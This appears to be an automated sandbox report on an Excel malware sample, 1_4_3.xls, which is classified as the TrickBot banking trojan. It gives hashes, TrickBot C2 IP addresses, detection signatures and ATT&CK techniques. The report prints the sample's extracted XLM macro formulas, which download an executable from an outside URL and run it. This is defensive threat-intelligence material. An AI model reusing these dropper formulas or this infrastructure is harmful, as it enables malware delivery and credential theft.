Overview

overview

10

Static

static

10

1_4_3.xls

windows7_x64

10

1_4_3.xls

windows10_x64

10

Sharing

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General

  • Target

    1_4_3.xls

  • Size

    270KB

  • Sample

    201206-6c8mgl62px

  • MD5

    890522e2846bc9ae0ee808db164ccdb5

  • SHA1

    36b93a892a6f57abec6c40268ff9101ac45a0ca8

  • SHA256

    a612370e45b7c1121a2ab805c05e67722070d4a9d553d4f1dfb1ddb6f1073567

  • SHA512

    0d1241bf55d42513d11fdbff65a427c47a85db18185dcee3bbb9a1b9abf6c9cb4763d92812550cd59817e62744fd0ec955067a4a15925f0293ad36176d6c385d

Score
10/10
trickbotyas31bankerdavemacrotrojanxlm

Malware Config

Extracted

Rule
Excel 4.0 XLM Macro
C2

https://berlitzalahsa.sa/sport/rockstar.php

Attributes
  • formulas

    =CALL("URLMON","URLDownloadToFileA","JJCCJJ",0,"https://berlitzalahsa.sa/sport/rockstar.php","C:\ProgramData\zvkFulz.exe",0,0) =CALL("Shell32","ShellExecuteA","JJCCCCJ",0,"Open","C:\ProgramData\zvkFulz.exe",,0,0) =HALT()

Extracted

Family

trickbot

Version

1000508

Botnet

yas31

C2

164.132.255.19:443

188.119.113.114:443

176.119.159.147:443

51.254.164.243:443

178.156.202.251:443

185.234.72.24:443

194.5.250.52:443

217.12.209.244:443

185.99.2.123:443

185.198.57.75:443

93.189.42.81:443

148.251.185.186:443

79.137.101.2:443

51.89.115.121:443

91.200.100.84:443

194.5.250.69:443

185.14.30.45:443

185.99.2.142:443

107.175.133.162:443

5.196.247.14:443
Attributes
  • autorun
    Name:pwgrab
ecc_pubkey.base64

Targets

    • Target

      1_4_3.xls

    • Size

      270KB

    • MD5

      890522e2846bc9ae0ee808db164ccdb5

    • SHA1

      36b93a892a6f57abec6c40268ff9101ac45a0ca8

    • SHA256

      a612370e45b7c1121a2ab805c05e67722070d4a9d553d4f1dfb1ddb6f1073567

    • SHA512

      0d1241bf55d42513d11fdbff65a427c47a85db18185dcee3bbb9a1b9abf6c9cb4763d92812550cd59817e62744fd0ec955067a4a15925f0293ad36176d6c385d

    Score
    10/10
    trickbotyas31bankerdavetrojan

    • Trickbot

      Developed in 2016, TrickBot is one of the more recent banking Trojans.

      trojanbankertrickbot

    • Dave packer

      Detects executable packed with a packer named 'Dave' from the community, due to a string at the end of it.

      dave

    • Executes dropped EXE

    • Loads dropped DLL

    behavioral1behavioral2

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

1
T1112

Credential Access

Discovery

Query Registry

2
T1012

System Information Discovery

2
T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Tasks